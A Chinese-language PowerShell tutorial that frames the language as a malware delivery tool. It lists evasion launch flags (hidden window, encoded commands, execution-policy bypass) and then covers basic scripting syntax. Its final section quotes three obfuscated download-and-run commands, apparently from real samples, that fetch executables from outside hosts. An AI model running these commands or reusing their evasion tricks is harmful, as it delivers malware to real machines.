简介
为了保障木马样本的体积很小利于传播。攻击者会借助宏->WMI->Powershell的方式下载可执行文件恶意代码。最近也经常会遇见利用Powershell通过Windows自带的组件执行系统命令绕过UAC下载文件手法的文章。
- UAC:用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
- PowerShell:Windows PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的对象,在病毒样本传播与渗透测试场景中用于下载第二阶段的病毒文件和执行文件。
环境介绍
注意事项
Powershell 默认是不允许执行 PS1 脚本的,这就需要我们自己使用Set-ExecutionPolicy
来修改默认策略。
使用Get-ExecutionPolicy
可以获取当前的策略: ``` PS C:\Users\d4mlts\Desktop> Get-executionpolicy Restricted
一共有 6 种策略,分别是:Undefined, Bypass, Unrestricted, Remotesigned, Allsigned, Restricted,更详细的可以参考:[https://technet.microsoft.com/library/hh847748.aspx](https://technet.microsoft.com/library/hh847748.aspx)<br />这里简单的说下六种策略的区别:
- Restricted. 不读取任何配置文件、不运行任何脚本,这个是默认策略。
- AllSigned. 所有的脚本和配置文件必须有受信任的的发布者的签名,就算是自己写的脚本也同样如此,否则无法执行。
- RemoteSigned. 和上面的类似,但是针对的是从网上下载下来的脚本,这些脚本同样也需要可信的签名。
- Unrestricted. 可以运行脚本或者读取配置文件,如果执行的是从网上下载的脚本,那么会有一个申请权限的提示。
- Bypass. 不阻止任何脚本或配置文件,也不会显示警告或者提示。
- Undefined. 把当前 scope 的所有策略全部都删除,但是不会删除 Group Policy scope 中的策略。如果你想删除某个设置好的策略,用这个就行了。
Windows下PowerShell默认的权限级别是`Restricted`,如果在`Restricted`权限运行PowerShell会提示错误信息:<br />![image-20210715234240593](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990361426-73c159c8-2e0e-4aa0-9620-3bdf4a08e435.png)<br />将权限修改为`Bypass`
Set-ExecutionPolicy Bypass # 需要管理员权限
![image-20210715234755023](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990362797-26c63873-a06b-4e09-a792-089e62177805.png)
### 开发工具
开发工具可以使用自带的`Windows PowerShell ISE`。<br />PowerShell的运行后缀为`.ps1`,也可以通过交互式运行。<br />![image-20210715234033307](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990364737-666664d1-ace4-4674-9b95-cf0f44ad07ce.png)
### 代码调试
自带的编译器常用快捷键:F9下断点、F5执行、F10单步执行<br />![image-20210715235042783](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990368061-362908c1-511e-489c-a764-b62e9de5fc47.png)
## Powershell启动命令参数
### EncodedCommand
使用此参数向PowerShell传递base64编码字符串并运行。<br />变种使用方法:
方式1:”-enc” 方法2:”-Enc” 方法3:”-EncodedCommand” 方法4:”-encodedcommand” 方法5:”-encodedCommand” 方法6:”-ec” 方法7:”-en” 方法8:”-ENC”
### WindowStyle Hidden
使用此参数避免PowerShell执行时显示运行窗口。<br />变种使用方法:
方式1 :”-window hidden” 方法2 :”-W Hidden” 方法3 :”-w hidden” 方法4 :”-windowstyle hidden” 方法5 :”-win hidden” 方法6 :”-WindowStyle Hidden” 方法7 :”-win Hidden” 方法8 :”-wind hidden” 方法9 :”-WindowStyle hidden” 方法10:”-WindowStyle hiddeN” 方法11:”-windows hidden” 方法12:”-WindowStyle hiddeN” 方法13:”-windows hidden” 方法14:”-Win Hidden” 方法15:”-win hid” 方法16:”-Windows hidden” 方法17:”-Wind Hidden” 方法18:”-Win hidden”
### NonInteractive
使用此参数避免显示一个交互对话窗口。此方法与WindowStyle隐藏方法配合使用以隐藏执行痕迹。<br />其中使用“-noni”的变种中76%是通用型的shellcode注入代码或SET工具,而使用“-NonI”的变种主要是PowerShell Empire工具。<br />变种使用方法:
方式1 :”-noni” 方法2 :”-Nonl” 方法3 :”-noninteractive” 方法4 :”-Nonlnteractive” 方法5 :”-nonl”
### NoProfile
使用此参数阻止PowerShell在开机时加载配置文件脚本,以避免载入非预期的命令或设置。与非交互方式类似,“-nop”方法主要由SET和通用型shellcode注入变种采用,而“-NoP”方法主要由PowerShell Empire使用。<br />变种使用方法:
方式1 :”-nop” 方法2 :”-NoP” 方法3 :”-noprofile” 方法4 :”-NoProfile” 方法5 :”-noP”
### ExecutionPolicy ByPass
使用此参数绕过默认的PowerShell脚本执行策略(即受限策略),可以执行任何代码。有趣的是,使用EncodedCommand参数执行的代码不受执行策略影响。<br />变种使用方法:
方式1: “-ep bypass” 方式2: “-exec bypass” 方式3: “-executionpolicy bypass” 方式4: “-Exec Bypass” 方式5: “-ExecutionPolicy ByPass” 方式6: “-Exec ByPass” 方式7: “-ExecutionPolicy Bypass” 方式8: “-ExecuTionPolicy ByPasS” 方式9: “-exe byPass” 方式10: “-ep Bypass” 方式11: “-ExecutionPolicy BypasS” 方式12: “-Exe ByPass”
### Sta
使用单线程模式(现在是PowerShell 3.0的默认模式)。此参数基本上是PowerShell Empire在使用。<br />变种使用方法:
方法1:”-sta”
### NoExit
使用此参数阻止PowerShell在运行启动命令后退出。这是PowerWorm恶意软件除EncodedCommand参数外使用的唯一参数。<br />
变种使用方法:
方法1:”-noexit”
### NoLogo
避免PowerShell启动时显示版权信息。<br />变种使用方法:
方式1: “-Nol” 方式2: “-NoL” 方式3: “-nologo” 方式4: “-nol”
### Command
利用该参数可以执行参数后面的命令,就如同直接在PowerShell提示符下输入命令一样。我只捕捉到一个样本,它直接附加到某个恶意软件中,该恶意软件在FireEye发布的一篇关于绕过基于签名的检测方法的博文中提到过。该PowerShell脚本包含在一个DOCM文件的“Comments“域中,通过Word文档的宏加载执行。以下是该样本的恶意PowerShell代码片段,通过将多条命令组合在一起,可以实现FTP传输和NetCat建连目的。<br />变种使用方法:
方式1: “-c”
常见组合示例代码:
方式1: “-window hidden -enc” 方式2: “-enc” 方式3: “-nop -noni -enc” 方式4: “-NoP -sta -Nonl -W Hidden -Enc” 方式5: “-EncodedCommand” 方式6: “-ep bypass -noni -W Hidden -Enc” 方式7: “-Nop -Nonl -W Hidden -Enc” 方式8: “-nop -win hidden -noni -enc” 方式9: “-executionpolicy bypass -windowstyle hidden -enc” 方式10: “-nop -exec bypass -win Hidden -noni -enc”
### 举例
1)下载文件:在捕获到的样本中最常用的办法就是使用.net框架下的System.Net.WevClient类的DownloadFile()方法来下载文件。<br />
2)运行文件:运行计算机上的可执行文件或文档,例如.exe或.txt文件。<br />示例代码:
1、下载文件
pOWErsHell.ExE -exEcUTIonPOLICy BYpAsS -nOprOFile -winDOWStyLE HiDden (NEW-objeCt SYSTeM.Net.weBCLIEnT).DOWNloaDfIlE(‘file://C:\Windows\System32\calc.exe’,’D:\powershell_calc.EXE’);
1.1 拆分代码
$client = new-object System.Net.WebClient $client.DownloadFile(‘file://C:\Windows\System32\calc.exe’, ‘D:\powershell_calc.EXE’)
2、运行文件
sTArt-PrOCeSS ‘D:\powershell_calc.EXE’
## 交互式SHELL
Powershell有许多内置的交互式Shell命令。
### 获取帮助命令
Get-Help
### 查找实现指定任务的命令
Get-Command
Get-command pwd # 查看pwd对应的Powershell命令
Get-command ls # 查看ls对应的Powershell命令
Get-command cd # 查看cd对应的Powershell命令
![image-20210716000157840](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990371571-07435aa3-4b62-443d-80f5-ee45d76e0f55.png)
### 将管道输出的结果保存到文件中
通过Out-File命令或者重定向>>操作符将输出结果保存到文件中。
Get-Command | Out-File D:\unicodefile.txt
### 获取进程信息
Get-Process
### 环境变量
dir ENV: # 查看所有环境变量 $ENV:COMPUTERNAME # 查看计算机名
![image-20210716000436035](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990373423-ea26046d-c498-4806-9c78-3eb17885ccc2.png)<br />![image-20210716000501636](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990376503-0f79a042-a726-4da6-8cf8-36e9e8533666.png)
### 获取历史命令
Get-History
### 向文件的结尾处加入信息
Get-Process >> D:\files.txt Get-Process | Out-File -Append D:\files.txt “Hello zzzhhh” >> D:\files.txt
## 变量
在powershell中变量名均是以美元符”a和$A 是同一个变量)。<br />
某些特殊的字符在powershell中有特殊的用途,一般不推荐使用这些字符作为变量名。当然你硬要使用,请把整个变量名后缀用花括号括起来。
PS C:\test> ${“I”like $}=”mossfly” PS C:\test> ${“I”like $} mossfly
Powershell的变量可以存储一些命令的输出,因为所有变量都是对象,所以变量都带有一些方法。
### 变量示例代码1
普通写法
$result = Get-Process # 将进程信息存储到$result $result $Loc = Get-Location #定义变量Loc,得到当前路径 $Loc #输出当前路径
花括号写法
${Hello Computer Name} = “I ‘am string” ${Hello Computer Name} # 输出变量内容
### 变量示例代码2
PowerShell变量有一些内置的方法和属性,可以很方便对字符串操作。<br />以及获取用户主目录、脚本相关的内置变量
字符串长度
${Hello Computer Name}.Length
字符串大小写
${Hello Computer Name}.ToUpper()
内置变量
获取当前执行脚本的目录路径
$PSScriptRoot
获取用户主目录的路径
$HOME
## 逻辑表达式
计算、逻辑、比较运算符<br />
+=, −=, ×=, ÷=, %=, ++, −−, = 将一个或者多个值赋给一个变量<br />-and,-or,-not,-xor,! 连接表达式/声明<br />-eq, -ne 相等, 不等<br />-gt, -ge 大于, 大于或等于<br />-lt, -le 小于, 小于或等于<br />-replace 替换字符<br />-match,-notmatch 正则表达式匹配<br />-like,-notlike 通配符匹配<br />示例代码:
+ - * / ++
${3+7} = 3+7
${3+7}
${‘a’+’b’} = ‘a’+’b’ # 字符串相加
${‘2’+3} = ‘2’+3 # 字符加数字
${5-2} = 5 - 2
${43} = 4 3
${7/2} = 7/2
${7%2} = 7%2
${3+7}++ # 自增符号
输出结果
${3+7} # 自增的结果 ${‘a’+’b’} ${‘2’+3} ${5-2} ${4*3}
## 条件语句
### if、elseif和else语句
$a = 89 $b = 90
if($a -gt $b)
{
echo “$a 大于 $b”
} elseif($a -eq $b) { echo “$a 等于 $b” } elseif($a -lt $b) { echo “$a 小于 $b” }
### 选择分支
将If-ElseIF-Else转换成Switch语句
switch(expression) { value1 { first set of stantements} value2 { second set of stantements} default{ final set of stantements} }
示例代码:
$a = {1,2,3,4,5} $b = 2 $c = 3
switch($b) { 1 {“Beijing”} 2 {“Shanghai”} 3 {“Tianjin”} 4 {“Chongqing”} default {“default”} }
## 循环结构
### While
while循环中的表达式如果为True,在完成了该语句之后,PowerShell回到顶部再次计算表达式。具有如下形式:
while(expression) { statement(s) }
### do...while和do...until
do循环与while循环类似,只不过它在循环的末尾执行测试,语句statement总是至少执行一次。如果表达式为True的话,循环继续。PowerShell中有两种do循环的方式。<br />do...while重复该循环,如果表达式为False的话,循环退出。<br />do...until重复该循环,如果表达式为True的话,循环退出。<br />do循环语句的两种形式如下:
形式1:
do{ statement(s) … }while(expression)
形式2:
do{ statement(s) }until(expression)
### for
for循环取自C和C++编程语言,该语句的形式是:
for(初始化;条件;增量){ statement(声明) }
### foreach
foreach循环可以依次查看一个数组、一个散列表或者一个其他集合对象中的每一项。该语句有两种形式,第一种形式每次通过statement(s)语句的时候,指定的遍历拥有集合中的一项的值。形式如下:
foreach($veriable in collection){ statement(s) }
## 数组
Powershell允许一个变量保存多个独立的值。<br />示例代码:
数值数组
$powers = 8,4,2,1
字符串数组
$name = ‘小Z’,’小J’,’小H’,’小D’
PowerShell还允许使用圆括号并使用一个可选的@符号来输入值的列表
$name1 = @(‘BOSS’,’ZZZHHH’,’Antiy’,’Python’)
访问数组 访问单独的项,数组索引从0开始
$name[0] $name[1] $name[2] $name[3]
## 字符串操作
### 字符串分割 `split`
string1 -split string2
说明:<br />string1 字符串<br />string2 分割符<br />示例代码:
$string2 = “192.168.14.20,192.168.14.21,192.168.14.22,192.168.14.23” $string2 -split “,” # ,号过滤出IP
### 字符串替换replace
string -replace pattern,replacement
说明:<br />pattern是一个正则表达式。<br />raplacement匹配的文本<br />示例代码:<br />注意:反转义<br />前面说过pattern是一个正则表达式,加上\就是反转义代表不要用正则表达式匹配字符。<br />([Regex]::Escape("字符串")):使用此方法可以直接不规避正则表达式解析而去做一个替换。<br />示例代码:
$string = “Hello C++” $string -replace “c++“,”World” # 输出 $string的值为 Hello World $string -replace ([Regex]::Escape(“C++”)),”Powershell Program”
## 文件操作
当使用PowerShell来遍历文件、文件夹甚至注册表的时候,将会遇到几种基本的对象类型。主要的对象是`System.IO.Directory`和`System.IO.FileInfo`,它们分别表示文件夹和文件。
### 查看一个文件是否存在
要查看一个文件是否存在,可以创建一个System.IO.FileInfo对象,并测其Exists属性。如下面的示例:
$fobj = new-object System.IO.FileInfo “C:\temp\testfile.txt” if ($fobj.Exists){‘the file does exist’}
### 从文件读取文本
使用.NET System.IO.FileStream对象从文件读取二进制数据。示例代码:
从文件读取文本
$fobj = get-item “D:\filename.txt”
$strm = $fobj.OpenText() # 打开文件
$n = 0
while(!$strm.EndOfStream){
$txt = $strm.ReadLine() # 读取文件
$n++
“$n : $txt”
}
$strm.Dispose() # 关闭文件
使用cmdlet来做同样的事情
使用Get-Content执行读取文本操作
$n = 0
Get-Content “D:\filename.txt”
Get-Content “D:\20171111-test.txt” | foreach { $n++;”$n ; $_”}
### 向文件写入文本
可以使用重定向>运算符,将cmdlet输出重定向到一个文件。想要更为精确地构造一个文件。将文本写入到一个文件的模式如下:
向文件写入文本
$fobj = New-Object System.IO.FileInfo “D:\testfilename.txt” $strm = $fobj.CreateText() $strm.WriteLine(“this is the first line”) for($i=1;$i -le 10; $i++) { $i $strm.Write(“$i “) } $strm.WriteLine() $strm.Dispose()
## 命令行参数
`$args`返回所有的参数<br />传递给一个函数或者一个脚本的参数都保存在`$args`变量中。<br />示例代码:
参数传值,返回所有参数
Write-Host “Hello,$args”
访问数组参数
For($i=0;$i -lt $args.Count; $i++) { Write-Host “parameter $i : $($args[$i])” }
## 函数
### 创建
定义函数形式如下:
function simple(){ return 1 }
函数参数:Powershell中用户定义的函数,可以给定参数值。
function simple(arg1,arg2){ return 1 }
调用形式:`simple abc def`<br />其中abc、def是对simple函数两个参数的调用。
### 函数传参数
在函数的语句块中放置一条param语句作为其第一条语句。从而给函数所使用的参数指定名称。
param(类型声明$参数名=可选值)
示例代码:
函数定义
function simple(){ return 1 }
调用函数
simple
带参数的函数
function printmsg { param([int]$level=1 ,$message) Write-Output $level,$message }
带参调用函数
printmsg 4 ‘this is the message’
param语句
function printparam { param([string]$level=1,[string]$message) Write-Output $level,$message }
param指定参数
printparam -message ‘this is the message’ -level 10
## 下载案例
第一个:
powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = ‘http://commercset.pl/file/jet.jkl'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + ‘\’ + $name + ‘.exe’;foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}
第二个:
pOWErsHell.ExE -exEcUTIonPOLICy BYpAsS -nOprOFile -winDOWStyLE HiDden (NEW-objeCt SYSTeM.Net.weBCLIEnT).DOWNloaDfIlE(‘http://b.reich.io/dvltdc.exe','C:\Users\UserPII_791ce421809b22355905f0e9df666c58e5309959\AppData\Roaming.EXE');sTArt-PrOCeSS ‘C:\Users\UserPII_791ce421809b22355905f0e9df666c58e5309959\AppData\Roaming.Exe’
第三个:
powErsheLL.EXe -WindowSTYlE HIDdeN -NoPrOfIle -EXeCuTionPOlicy bypaSS (NEW-ObjECt SySTEm.Net.WEbCLIent).DOwNLOadFiLe(‘http://182.255.5.201/~bemkmund/two/files/fresh/whe.exe','C:\Users\办票间~1\AppData\Local\Temp\\doce.exe‘)
```